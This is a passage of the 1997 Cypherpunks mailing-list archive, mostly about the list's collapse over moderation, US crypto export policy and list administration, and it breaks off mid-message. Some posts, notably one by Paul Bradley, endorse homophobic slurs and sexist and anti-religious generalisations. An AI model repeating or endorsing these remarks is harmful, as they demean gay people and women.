The rift between Gilmore/EFF and Cypherpunks is hardly of recent origin, and dates back to when the EFF first demonstrated to horrified Cypherpunks that its policy would be one of appeasement and capitulation towards clearly unacceptable legislation. This is all in the archives, including Tim May's essay on why he chose not to renew his EFF membership. 2. The article fails to mention Gilmore's new nickname. :) -- Mike Duvos $ PGP 2.6 Public Key available $ mpd at netcom.com $ via Finger. $ From Robalini at aol.com Fri Feb 14 09:06:02 1997 From: Robalini at aol.com (Robalini at aol.com) Date: Fri, 14 Feb 1997 09:06:02 -0800 (PST) Subject: The Konformist: Acid Novelist or Art Lover? You Decide Message-ID: <199702141706.JAA10765@toad.com> Note: Either you requested to receive a subscription to this e-mail, or someone else recommended you to be placed on this list. If you are interested in a free subscription, please e-mail Robalini at aol.com with the subject: I NEED TO KONFORM. (Okay, you can use something else, but it's a cool catch phrase.) Please e-mail me back with subject: CANCEL KONFORMIST if you're not interested in receiving this. Thanks, Robert Sterling. Subj: American "Acid Novelist" Brings Home Expatriate Treasure Date: Wed, Feb 12, 1997 7:58 PM PST From: fargone at popalex1.linknet.net News Release--For Immediate Distribution--2/12/97 Novelist and psychedelic renegade Todd Brendan Fahey, wit the aid of his father, a Los Angeles-area health care executive, has purchased from the Amsterdam art gallery Anton Heyboerwinkel what is believed to be the bulwark of The Logbook of the Ship _Henry David Thoreau_, an obsessive and intimate mixed media project of an expatriate American artist/mystic known pseudonymously as Viktor IV before his drowning death in Amsterdam in 1986. While on assignment for _Smoke_ magazine last November, Professor Fahey, author of the incendiary underground LSD novel _Wisdom's Maw_, claims he was "directed" to a particular shop on Prinsengracht, a canal street in downtown Amsterdam; after entering the shop, he was immediately struck by the idiosyncratic force of the works of a particular artist. "It was as if I were being beckoned into Aladdin's Castle from way out in some super-mall parking lot," says Fahey, of his experience. "I will never be able to put it into words; but there was a pull, a connection, and then, after studying the many Logbook pages for several days in this shop, there came a long moment of illumination." Fahey describes this "illumination" as an ecstatic vision, in which he claims to have understood the mystical emphasis of much of the Logbook drawings. "It's not entirely bizarre," says Fahey, who is currently completing his Ph.D. coursework in English at University of Southwestern Louisiana. "Allen Ginsberg had an experience one day, in his early twenties, where he heard and witnessed, or believes he did, the voice and personage of the mystic poet William Blake. Samuel Taylor Coleridge wrote the poem `Kubla Khan' completely whacked in an opium trance. I was using psychedelics pretty heavily during the writing of `Fear & Loathing in Amsterdam' for _Smoke_, and feel as if I were privileged for a few days to some kind of Source. I had many things happen to me in Amsterdam--very powerful moments of insight and registrations of the cosmic flow of things--and during one of these moments, it was impressed upon me from without, that I should bring back to the U.S. these Logbook drawings of Viktor IV." Born Walter Karl Gluck, the artist Viktor IV traveled to Amsterdam in the early 1960s and settled there, leaving on a ship he christened the _Henry David Thoreau_, after the philosopher who he claimed as his chief inspiration and muse. A burly, rugged figure, Viktor IV was recognizable amongst the quiet Amsterdam populace as the barefoot American hippie artist who dressed in black, loved cats and young women, and worked tirelessly on deeply personal and largely non-commercial projects aboard his canal-bound ship. A master scuba diver, Viktor IV drowned in June of 1986, while performing underwater repairs to the _Henry David Thoreau_. Todd Brendan Fahey, a novice art collector, perceives in the Logbook pages the artist's fascination with the "ecstatic vision." In this way, he compares the drawings to the poem-paintings of American surrealist Kenneth Patchen. "There is that same relentless focus on the All-At-Once, that so characterizes the experiences of mystics in every religion and culture. The rich, interconnectedness of all things. That is what Viktor IV is expressing in these pages. And that is what I was feeling for much of my stay in Amsterdam; as much as I was really out of my head most of the time, I was, in another way, very grounded." Unconcerned with commerce, Viktor IV created hundreds of these Logbook drawings in the original, with no known professional reproductions, from between 1966 and 1976, after which he turned his artistic vision to clockmaking. The bulk of individual pages of The Logbook of the Ship _Henry David Thoreau_ is held by the Fedor Museum and the Stejdilik Museum, in Amsterdam, where the adopted artist is revered as a free spirit. Viktor IV visited the United States only a handful of times after emigrating to Amsterdam, and is believed to have held only one American gallery exhibition in his lifetime. Professor Fahey hopes to arrange a traveling exhibition of his 34 pages from The Logbook of the Ship _Henry David Thoreau_, by the artist Viktor IV. Interested museums and art galleries in major American cities should contact Fahey at the following address: Todd Brendan Fahey c/o Far Gone Books P.O. Box 43745 Lafayette, LA 70504-3745 (318) 261-1946 Dutch and European media should contact: Georges or Couzijn Simon Anton Heyboerwinkel Prinsengracht 578 020 624-7691 1017 KR Amsterdam The Netherlands The award-winning Far Gone Books/_Wisdom's Maw_ Web site: http://www2.linknet.net/fahey/fargone ************************************************************ The Konformist is interested in accepting articles, opinions, free subscriptions, and advertising. E-mail us at Robalini at aol.com, or call (310) 967-4195. The Konformist is a subsidiary of Sterling Operation Solutions, the trouble-shooting problem-solvers for all business needs. We charge on a sliding scale based on the difficulty (and legality) of the proposed solution. Call (310) 967-4195 for further information. Hey kids, don't forget to enter the "Rockin' To Armageddon Sweepstakes", sponsored by The Konformist, the Official Internet Investigative Journal of the 1997 Academy Awards. (Okay, it's not official, but we're anti-authority anyways.) Right down the day, month, year, and time of the end of the world, and, as a tie-breaker, your nominee for the anti-Christ. The winner will receive a t-shirt stating, "I CameClosest To Predicting The Apocalypse, And All I Got Was This Crummy T-Shirt." You will also receive a free one year supply of Twix candy bars. Also, this is a free magazine, but we'll still take your money if you want. Please send cash, check, money orders, and credit card numbers (Visa, Master Card, American Express, or Discover) to: Robert Sterling Post Office Box 24825 Los Angeles, California 90024-0825 ************************************************************ Rob's Place A SITE IS DEDICATED TO SPIRIT, TRUTH, PEACE, JUSTICE, AND FREEDOM http://www.vom.com/rc/home.htm Robalini's Note: This is another Rob. I have no interest in spirit, truth, peace, justice, and/or freedom. I do have an interest in making money. From tcmay at got.net Fri Feb 14 09:18:00 1997 From: tcmay at got.net (Timothy C. May) Date: Fri, 14 Feb 1997 09:18:00 -0800 (PST) Subject: [Declan McCullagh: "A List Goes Down In Flames," from Netly] In-Reply-To: <199702140723.XAA25771@toad.com> Message-ID: At 9:21 AM +0000 2/14/97, Adam Back wrote: >Declan McCullagh writes: >> After the expulsion, some of the longtime list denizens left >> angrily, joining the 700 subscribers who had departed since the >> controversy began. One of those was Tim C. May, a crusty former Intel >> engineer who prides himself as the organizer of the first cypherpunk >> meeting in September 1992. > >Tim left when the moderation experiment started, not after John >unsubscribed Dimitri, and blocked him from re-subscribing. Yes, I left after the "moderation" thing was announced as a fait accompli ("it _will_ happen"). Neither Eric Hughes, Hugh Daniel, nor I, as folks who have had some involvement in the group since the start, were apprised of this brainstorm. (I did not expect veto power, or a vote, but it would have been nice to hear, and maybe we could have pointed out the almost inevitable effects of censorship of the main list and thereby headed off this public relations screwup.) By the way, Declan took his comments from me or about me from what I've written. I haven't met him and our e-mail contact has been minimal. Importantly, I've always said that Eric Hughes and I were the co-organizers of the first meeting (and I usually note that it was held at Eric's place in Oakland). I didn't claim to Declan or anyone else that I was "the" organizer. But this is a minor error. >What does `crusty' mean as applied to a former Intel engineer? And this is a more serious error! :-} I think "crusty" is just one of those words journalists like to use. Especially when describing anyone older than themselves. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From jya at pipeline.com Fri Feb 14 09:29:48 1997 From: jya at pipeline.com (John Young) Date: Fri, 14 Feb 1997 09:29:48 -0800 (PST) Subject: USACM analysis of Commerce Dept crypto export proposals Message-ID: <1.5.4.32.19970214172339.00707910@pop.pipeline.com> Thanks for forwarding the USACM analysis. We've put it at: http://jya.com/usacm.htm We'd welcome those submitted by cypherpunks or others, for putting on jya.com. It will be some time before BXA publishes them along with the Final Rule, and, there's worldwide interest in the US's foot-shooting. From tcmay at got.net Fri Feb 14 09:29:58 1997 From: tcmay at got.net (Timothy C. May) Date: Fri, 14 Feb 1997 09:29:58 -0800 (PST) Subject: More on digital postage In-Reply-To: <199702141131.DAA17173@idiom.com> Message-ID: At 3:31 AM -0800 2/14/97, John C. Randolph wrote: >Tim may says: > >>By the way, I think the "junk fax" and "junk phone call" laws are clearcut >>violations of the First Amendment. I understand why the herd _wants_ these >>laws, as it reduces the costs involved in replacing fax paper, running to >>the telephone only to find someone trying to sell something, etc., but it >>is quite clearly a prior restraint on speech, however well-intentioned. > >I have to disagree here. The junk fax law is a restraint on unauthorised >use of property, i.e. *my* fax machine, *my* phone, etc. > >That tort of unauthorised use of property applies, whether someone's sending >me a fax to sell me spamming software, or whether it's some kid ringing >my doorbell and running away. It's not the speech that I'm fighting, it's >the misuse of my property. > >Freedom of speech does not confer a right to use other people's property. Fair enough, John. I can agree that _tort law_ (civil) might be used. If Party A can convince a jury that Party B did it real damage and can quantify that damage, maybe Party A can collect. My main objection is to to blanket laws, known as "junk mail" laws. The rules for what constitutes "junk" are unclear and give the government regulatory power which I think it should not have. Imagine a bureaucrat deciding that solicitations to join the National Rifle Association are "junk" and ordering the U.S. Postal Service to scrap all such solicitations. Imagine further that alternate delivery systems, such as UPS and FedEx are also notified that delivery of NRA material constitute a crime. (This is not so far-fetched, especially the "alternate delivery" point. If the regulators declare a communication to be junk, it remains junk even if delivered via a different route. If CyberPromotions tries fiddling with the domain names, as they have, it remains junk to CompuServe and to the District Court which upholds their decision to censor mail to customers.) To paraphrase what the CompuServe customer said: "I'll decide what's junk and what's not." --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From jmb at FRB.GOV Fri Feb 14 09:31:57 1997 From: jmb at FRB.GOV (Jonathan M. Bresler) Date: Fri, 14 Feb 1997 09:31:57 -0800 (PST) Subject: Cypherpunks Distributed Remailer (fwd) In-Reply-To: <01IFDBB5MRH09ANACB@mbcl.rutgers.edu> Message-ID: <199702141619.LAA28332@kryten.frb.gov> > Well, if you can't deliver mail because their mailbox is full, then >you should simply wait a few days before trying to deliver mail to that >address. If it's because the address isn't there any more, you should delete >it from the subscription lists. Otherwise, the instant people's mail quotas >overflow (e.g., they're on AOL and they haven't been able to get through the >clogged lines), they get bounced... or you're left with a lot of invalid >addresses. The address causing the bounce is not necessarily determinable >automatically from the bounce message; if it isn't, then you need to keep a >copy around for a human to look at. who should bear the burden of dealing with bounces? the list admin or the owner of the bouncing address? if you have the time and desire, you can accomodate people that bounce mail due to a temporarily full mailbox. if not, unsubscribe them after N bounces in a 24 hour period. it becomes their responsibility not to bounce more than N emails. when a list has 1000's of subscribers, i have not have been able to provide the type of personal service that the first option entails. i do make a digest version of every list available. if the digest bounces, the bouncer??? bouncee?? stays below the N bounces threshhold (for many values of N :). jmb From nobody at wazoo.com Fri Feb 14 09:44:43 1997 From: nobody at wazoo.com (Anonymous) Date: Fri, 14 Feb 1997 09:44:43 -0800 (PST) Subject: Dale disses gays. In-Reply-To: Message-ID: <199702141744.KAA28013@earth.wazoo.com> aga writes: > Now just who is thisa guy? -- who keeps posting under > "nobody" at the cajones remailer? Anybody have him/her > tagged yet for the real person? Probably multiple people. It's just an anonymous remailer. > ... > I don't know. It has always been easy for me to spot a faggot. I > mean, I can even tell by their voice if they are queer. Well, those of us who happen to know Gilmore is straight are not very impressed with your accuracy. From shommel at zoo.uvm.edu Fri Feb 14 10:13:57 1997 From: shommel at zoo.uvm.edu (Scott A. Hommel) Date: Fri, 14 Feb 1997 10:13:57 -0800 (PST) Subject: No Subject Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Is it legal or illegal to send a PGP encrypted message from the US to someone in another country? -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMwSrJdaX0pKkbeJ9AQG1ogQAloERqECRmAgHAOPq1LwTrWXMw9/E2c0C Q8TqlVuc6pmW+L+DmTrMb0eZdSTJ00A4Fa4j1390UJEncA1X+zHMNMY9CmUJgDKZ ROWNiD8tHiIQYJBH2400WYxKsFPb2mX31SJFc4gK0hQtturtzNXWjOGtowqes6MU kp3/vpeFXZ4= =pLXe -----END PGP SIGNATURE----- ********************************* Scott A. Hommel President, New Paradigm Design, Inc. PGP key available at: http://paradigm-2.com/scott.html ********************************* From mpd at netcom.com Fri Feb 14 10:26:19 1997 From: mpd at netcom.com (Mike Duvos) Date: Fri, 14 Feb 1997 10:26:19 -0800 (PST) Subject: Good Bye Cypherpunks! In-Reply-To: <199702141611.IAA09328@toad.com> Message-ID: <199702141826.KAA29727@netcom13.netcom.com> Michael Froomkin writes: > Just for the record. I will not post to USENET given the spamming that > seems to go to IDs that appear there. Helpful hint: Mung your email address in a way which will confuse bots, but not humans. "From: froomkin@[NO-SPAM]law.miami.edu" should work nicely. This will also eliminate mail from very clueless people. -- Mike Duvos $ PGP 2.6 Public Key available $ mpd at netcom.com $ via Finger. $ From minow at apple.com Fri Feb 14 10:33:09 1997 From: minow at apple.com (Martin Minow) Date: Fri, 14 Feb 1997 10:33:09 -0800 (PST) Subject: [Declan McCullagh: "A List Goes Down In Flames," from Netly] In-Reply-To: <199702141459.GAA07338@toad.com> Message-ID: My first reaction to the "Death of Cypherpunks" (Declan McCullagh's article in http://netlynews.com Feb 12, 1997) is that it is another example of "The Tragedy of the Commons." -- the (unsolvable) problem of unlimited access to a limited resource. Cypherpunks was also susceptable to the strange Internet phenomenon where people could be proud of their anti-social, bad behavior (flame wars, "grafitti" in the form of spam). For this reason, I suspect that the future of the Internet in general, and Cyphperpunks in particular, will require serious editorial control (as is done by the Risks and Privacy digests). The only other alternative I can see would be to limit membership -- but not limit what members might write. In the long term, I suppose we'll have sufficiently intelligent software agents that can recognize spam and flaming and invisibly delete them from our e-mail in-boxes. What bothers me more than anything else about the "solutions" I've seen proposed to the death of Cypherpunks is that they rely on technology -- and reject human judgement -- to solve what is, in reality, a social problem. (One can certainly make the same argument about the V-chip, browser porn filters, and similar hacks.) Having been "on" the net for over 15 years -- and with experience in both ends of the censorship/moderation problem (I'm probably the only Cypherpunks member to have had a book "banned in Boston"), I'm sorry that a handful of sociopaths managed to destroy this experiment in anarchy, but I suspect that this was inevitable. Martin Minow minow at apple.com ps: (From McCullagh): > But for the true believers in crypto-anarchy, only one solution is > adequate: Usenet. "There is no 'nexus' of control, no chokepoint, no > precedent... for halting distribution of Usenet newsgroups," Tim May > wrote. That, in the end, is what defines a cypherpunk. > Nope: alt.cypherpunks will not be distributed to many sites that would accept an e-mail list. Also, it's too easy for the disgruntled to forge cancel group messages. I'm afraid that human judgement is still required. From jer+ at andrew.cmu.edu Fri Feb 14 10:51:40 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Fri, 14 Feb 1997 10:51:40 -0800 (PST) Subject: Fuck UseNet In-Reply-To: Message-ID: <0n1==E200YUf0=T0s0@andrew.cmu.edu> -----BEGIN PGP SIGNED MESSAGE----- Toto reminds me while I've killfiled him: > So, basically, you're saying that the flight from censorship should > be toward a new CypherPunk 'home' where one is effectively censored > automatically unless one kisses the ass of a Cabal? Yup. You're begging resources, deal with it. We didn't kiss John Gillmore's ass, and he decided that he was tired of the shit and stopped letting us squat on his land. If we were paying him for the use of toad, he maybe wouldn't have the right to yank it so suddenly, but we weren't, so it's his call. Same with usenet. The "cabal" has high reputation capital. News admins the world over trust them. One might say that they deserve the respect they get, but that is immaterial to the discussion. the fact is that people who donate resources to usenet trust the cabal. Unless you have a contractual relationship, you're begging, and you have to convince your benefactors to give you stuff. If you have a different model for a world economy, feel free to post it. Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole PS. Of course, the cabal didn't rmgroup alt.cypherpunks, thus showing that they do have some good sence yet. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMwSyzMkz/YzIV3P5AQHgbgMApfVYTtanDNpL1A96oqMa0wk99GC6jfk9 p7V2KUBn2rl3rOJlBsYpgPWJRYxcMeich8tulf0NcUkh5ru7YdsACD7GYa7B7bz2 Kj6VnQibFnCKb2BTkQfkqYCpdKIUhvLL =dkhj -----END PGP SIGNATURE----- From tcmay at got.net Fri Feb 14 10:59:37 1997 From: tcmay at got.net (Timothy C. May) Date: Fri, 14 Feb 1997 10:59:37 -0800 (PST) Subject: [Declan McCullagh: "A List Goes Down In Flames," from Netly] In-Reply-To: <199702141459.GAA07338@toad.com> Message-ID: At 10:31 AM -0800 2/14/97, Martin Minow wrote: >What bothers me more than anything else about the "solutions" I've >seen proposed to the death of Cypherpunks is that they rely on >technology -- and reject human judgement -- to solve what is, in >reality, a social problem. (One can certainly make the same argument >about the V-chip, browser porn filters, and similar hacks.) Au contraire, Martin! Many of my posts have _explicitly_ pointed to the human filtering services offered by Eric Blossom, Ray Arachelian, and perhaps others. Arranging to have others edit or filter the information flow is a fine and dandy thing, and it's a very "anarchist" thing to do. The "anarchy" of the restaurant business, the book business, and so many other markets and sectors, where end-users are forced to look for filtering mechanisms (such as restaurant reviews, advice of their friends, advertisements, etc.) works pretty well. And, I believe, the Cypherpunks list was doing pretty well before the Moderation thing happened. The noise from the 'bots was no worse than the noise of 2-3 years ago from Detweiler. The claims that "the list has become unusable" were bogus, in my opinion. (Hence the claims that "you Cyherpunks only complain" are also bogus. I for one was not complaining and demanding that John and Sandy "do something" to "fix" the list. I accepted the nonsense spouted about me and John and others as just part of the chaos expected in any forum. I just filtered and deleted such nonsense.) It is true that some signal producers have either moved on to other things--in many cases to crypto-related companies directly or indirectly spawned by the Cypherpunks list and contacts!--or are not writing as many basic essays as they once did. Such is to be expected. People get tired of writing explanatory articles, and handling newbies. The key to improving signal is to increase the amount of signal, not to just suppress noise so as to make the S/N ratio look better. I can easily hit the "delete" key to remove noise, but I can't hit the "create" key to increase signal. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From jer+ at andrew.cmu.edu Fri Feb 14 11:08:19 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Fri, 14 Feb 1997 11:08:19 -0800 (PST) Subject: [Declan McCullagh: "A List Goes Down In Flames," from Netly] In-Reply-To: <199702140921.JAA00328@server.test.net> Message-ID: <0n1=SV200YUf0=T7E0@andrew.cmu.edu> -----BEGIN PGP SIGNED MESSAGE----- Adam Back writes: > What does `crusty' mean as applied to a former Intel engineer? Try definition 2 Word crusty (KRUHS'tee) adj. Definition --adj. -ier, -iest. 1. Like or having a crust. 2. Surly or brusk. Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMwS3m8kz/YzIV3P5AQHNJgL+NtjXkx/EHmx9vXm9ucwmonam+2sXRwHB 4bCrz3SM9pk4VbcPhYjx+PRzmX3j9mvesPkkAXaYiUcnFUBmmF35YvIZnTxornfy kE30sVsW4juawhXGRIAWJ/5Ce9lBLPdp =bB+u -----END PGP SIGNATURE----- From jya at pipeline.com Fri Feb 14 11:13:23 1997 From: jya at pipeline.com (John Young) Date: Fri, 14 Feb 1997 11:13:23 -0800 (PST) Subject: Industry Blasts U.S. Encryption Policy Message-ID: <1.5.4.32.19970214190701.00706eb4@pop.pipeline.com> 2-14-97. National Business Review, NZ (http://www.nbr.co.nz/): USA: Industry Groups Blast U.S. Encryption Policy. Washington, Feb 13 (Reuter) - An array of private-sector trade groups charged Thursday the Clinton administration's new export policy on computer encoding technology was a failure. Encryption products, which scramble information and render it unreadable without a password or software "key," are subject to strict export limits, although the administration recently relaxed the rules a bit. The new policy "does not adequately address the needs of either the American business community or the general public," the 13 groups said in a letter to Clinton dated Wednesday and released Thursday. Among the groups signing the letter were the U.S. Chamber of Commerce, the National Association of Manufacturers and the National Retail Federation, along with a host of high-tech industry groups such as the Business Software Alliance and the Information Technology Association of America. The Centre for Democracy and Technology, an advocacy group for civil liberties in cyberspace, and the Association of Research Libraries also signed the letter. An administration spokeswoman said that, despite the complaints, the current policy would be maintained. "The administration is moving ahead with our encryption export liberalisation policy," spokeswoman Heidi Kukis said. The policy balances diverse interests by "allowing us to develop exports while protecting our national security," she said. The administration has repeatedly said it opposes allowing unfettered powerful encryption programmes out of the country where they could be used by international criminals and terrorists. Under current policy, U.S. companies cannot export products containing so-called strong encryption, used to protect everything from a business' electronic mail to a consumer's credit card number sent over the Internet, unless the products also allow the government to crack the code by recovering the software keys. Companies can get a license to export medium-strength encryption lacking so-called key recovery features if the companies agree to incorporate key recovery in future products within two years. The Commerce Department has issued three licenses so far under the two-year provision. Digital Equipment Corp., Trusted Information Systems Inc., and Cylink Corp. won approval by promising to offer key recovery products by 1999. International Business Machines Corp. and Hewlett Packard Co. have said they are also seeking licenses. But companies and privacy advocates rejected the administration's key recovery-based approach. "It fails to accommodate the competitiveness concerns of sellers of encryption products, the security concerns of the buyers of such products, or important privacy rights," the groups said in their letter. "We believe a fundamental rethinking of this policy is necessary," they added. "We remain interested in working with you to achieve a constructive solution to this very difficult problem." Congress is already considering proposals to dramatically relax the export restrictions without requiring key recovery. ----- From paul at fatmans.demon.co.uk Fri Feb 14 11:20:12 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Fri, 14 Feb 1997 11:20:12 -0800 (PST) Subject: Message-ID: <855947474.1029113.0@fatmans.demon.co.uk> > Is it legal or illegal to send a > PGP encrypted message from the US to someone in another country? Yes. Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Fri Feb 14 11:27:50 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Fri, 14 Feb 1997 11:27:50 -0800 (PST) Subject: Fuck UseNet Message-ID: <855947473.1029112.0@fatmans.demon.co.uk> > So, basically, you're saying that the flight from censorship should > be toward a new CypherPunk 'home' where one is effectively censored > automatically unless one kisses the ass of a Cabal? Absolutely, It is really, as far as I see it anyway, just a stop-gap measure. The caballers haven`t got enough room to do their censorship on the 18000 or so big 7 groups so they decide to fuck up the alt. heirachy as well ;-) Hopefully Igor and co.`s network of Majordomo's should be fully operational soon (as I understand it two are up and a third is on it's way) then we can move back there. Might even get it finished before the 20th????? Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Fri Feb 14 11:33:08 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Fri, 14 Feb 1997 11:33:08 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <855947489.1029218.0@fatmans.demon.co.uk> > Again, MY definition of a "bigot" is the correct one which is > most understood by modern people. > > A "bigot" is a racist, period. I would have to differ with you there Dr. Grubor, although I think the term Bigot being applied critically to your opinions is inappropriate. > > I see nothing that limits bigotry to racial intolerance. > > > > You are a fool then. Religion and sexism and groups all have nothing > to do with bigotry. A bigot is a racist, period. That is TODAY'S > correct definition of the term, and I am a lot more current than > Webster. Any anybody who has a "religion" and "prays" is a fool. > The only god you will ever find is within yourself. I do not begin to believe this is correct. I happen to believe that sexism, not in the sense of believing women inferior but in the sense of believing homosexuals inferior can be, in some instances, a form of bigotry but it is merely a matter of semantics and not of interest. I wholeheartedly agree with the last point, anybody who believes in any form of deity or higher being (call it god if you like) is, IMHO, a fool. However, this has proven in history to be contradicted on a number of occasions, for example, Albert Einstein was a Jew but did not just accept without enquiry, rather, his religious views were subtle and well thought through. This is, of course, the exception not the rule, and 99.9999% of all religious people are fools. > > > It is very logical and wise to discriminate on the basis of sex. Here I can agree, I personally discriminate on the basis of sex, not in that I believe women inferior to men but rather that I believe each sex better suited to different tasks and vocations. That is not, however, to say that I believe women should be prevented from taking up lines of work that men traditionally hold. They are free to do so, but as in the example you give later I would feel uncomfortable having my car serviced by a woman. > > Most would disagree, and decide based on that and other statements you > > have made that you must be an extremely unpleasant person. > > > > See, there you go again, attacking the person, instead of the > argument. You lose points for that. Sexism is GOOD and right and > justified. I want a woman cutting my hair, and a man fixing my car, > and I demand the correct sex for ALL activities. Exactly, the poster has failed to recognise that you have every right to discrimate as you do and are justified in doing so. They are probably either homosexual and feel threatened or they are censorous and feel they must protect people from being "defamed" etc... > > If you want to fight censorship effectively, going around telling > > people "You're a shit-eating faggot you fucking cock-sucking homo > > censor" in public forums is not going to win you many points. > > Look sonny, I am not out to win any points. I have two Doctorates and > 22 years of experience. I speak with authority and only to those who > have the intelligence to understand. I was a perfect 4.00 in > College, and am probably the most intelligent body-politic analyst in > the world. Now let's face it: Faggots are BAD news. They are most > always censors! And that is the truth you can never get around. I agree, I have no prejudice against homosexuals. Rather I have formulated a low opinion of them as a group due to their censorous behaviour. I think it is because they feel threatened by straight people. Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From vin at shore.net Fri Feb 14 12:07:49 1997 From: vin at shore.net (Vin McLellan) Date: Fri, 14 Feb 1997 12:07:49 -0800 (PST) Subject: Good Bye Cypherpunks! Message-ID: <199702142007.PAA16030@relay1.shore.net> It's always interesting to see how another person, particularly a writer, filters and reshapes an experience you shared with them . Differences in the telling are inevitable -- but I perceived the recent experience of the C'punks List quite differently than what Declan described and implied in his column. My understanding of Sandy's effort, for instance, was that he was to filter out the sludge of spam and contentless name-calling with which some idiots were flooding the list. My impression was that he was passing along any posts with content (ideas, pro or con, on almost anything) but filtering out the empty obscene name-calling and slurs (many of which seemed anon or forged, with varied and misleading titles, to duck my kill-file filters.) I, for one, was appreciative. I don't mind flames (and I expected to still be able to recieve them, from whatever POV -- and it seemed that I did!) but I also want a little meat somewhere amid the smoke. Who did the filtering (at the minimal level I expected) was almost irrelevant. If the filtering was on content, I'd be unhappy -- but I was eager to see some effort to cut out the empty hate messages. I even suggested to Dale, off-list, that he take it on for awhile. To me, the issue was whether this community could develop some mechanism to defend itself against a willful and intentional effort to destroy it. I think we failed to do so, despite the creative search for alternative venues -- and I think the triumphant cackling I read on what's left of the List is quite out of place. It may be that ideological purists were able to develop dynamic local filters on their PCs which satisfied them, but my filters just could't do enough. It was clear that the fecal-buckshot attacks on the List were designed to evade them. I'm still here, but it was more than a minor annoyance. (A year ago, I knew maybe five friends and acquaintances who subscribed to C'punks, but they all ran out of patience with the unchecked flow of sludge and unsubscribed... months before John tried to introduce his moderation experiment.) If 700 dropped off right after the moderation experiment was announced -- which I somehow doubt -- I wonder how many were battered into unsubscribing in the six or eight months prior? And, of the fleeing 700, how many became bored with the obsession of some (exhaustively prolific) writers with the "Moderation & Me" -- and went off to find some discussion of cryptography, politics, and ideas elsewhere? (Gawd knows, on the then-Moderated List I never found any lack of overwrought attacks on Sandy or John. I even read them for a week or two;-) From this whole experience, I carry away something different than those who gleefully celebrate Gilmore's surrender. I think something unusual and valuable is being killed. I'm now convinced that virtually all mailing lists will soon be forced to either limit posts to authenticated subscribers or introduce some sort of moderation -- just to deal with the spam threat and the problem of concerned attacks by those who decide they hate or dislike or simply want to destroy that particular List community . By the logic of Tim and others, a clever and dedicated crusade against Cypherpunks by any minimally-organized group, bir or small -- your local coven, CoS, RC bishops, FBI, Romanian Govt, , whomever! -- could have destroyed the List at any time in the past. I'm glad they never realized how vulnerable we were; I've enjoyed this Community greatly in its current manifestation. I also hate to think of how gleeful the sociopaths who mail-bombed us into the choice of submission or suicide must be today. I think it is a particularly henious crime to destroy a virtual community; something akin to book-burning, but maybe more like arson -- like burning village schools. There was a willful attempt to destroy C'punks, an attack of depth and volume which led many of us (even those who had ignored at least three earlier efforts to offer filtered subsets to the List) to welcome the Moderation Experiment. Unfortunately, the attempt at moderation just twisted our own energies against ourselves. We were, perhaps predictably, quite easy to manipulate. If I have any criticism of John et al, it is that our List-Owner (a statement of function, rather than property) never gave the List Community an overt option to vote for minimal moderation. A tactical error. That that allowed the anarchists, nihlists, and others pure of heart to focus their ire on toad.com and Sandy -- rather than on those of us who (when John finally acted) might have gladly re-subscribed to another version of the List in order to obtain minimal spam and slur filtration. So now we ourselves burn the village in order to save it. How American! Suerte, _Vin At 11:23 PM 2/13/97 -0800, you wrote: >Date: Wed, 12 Feb 1997 21:24:37 -0800 (PST) >From: Declan McCullagh >To: fight-censorship at vorlon.mit.edu > >The Netly News Network >http://netlynews.com/ > >A List Goes Down In Flames >by Declan McCullagh (declan at well.com) >February 12, 1997 > From omega at bigeasy.com Fri Feb 14 12:15:51 1997 From: omega at bigeasy.com (Omegaman) Date: Fri, 14 Feb 1997 12:15:51 -0800 (PST) Subject: Congressional subcommittee hearings on computer security Message-ID: <199702142014.OAA58406@tetsuo.communique.net> Computer crimes rife, unreported By Reuters February 13, 1997, 9:45 a.m. PT WASHINGTON--Security experts say hackers are 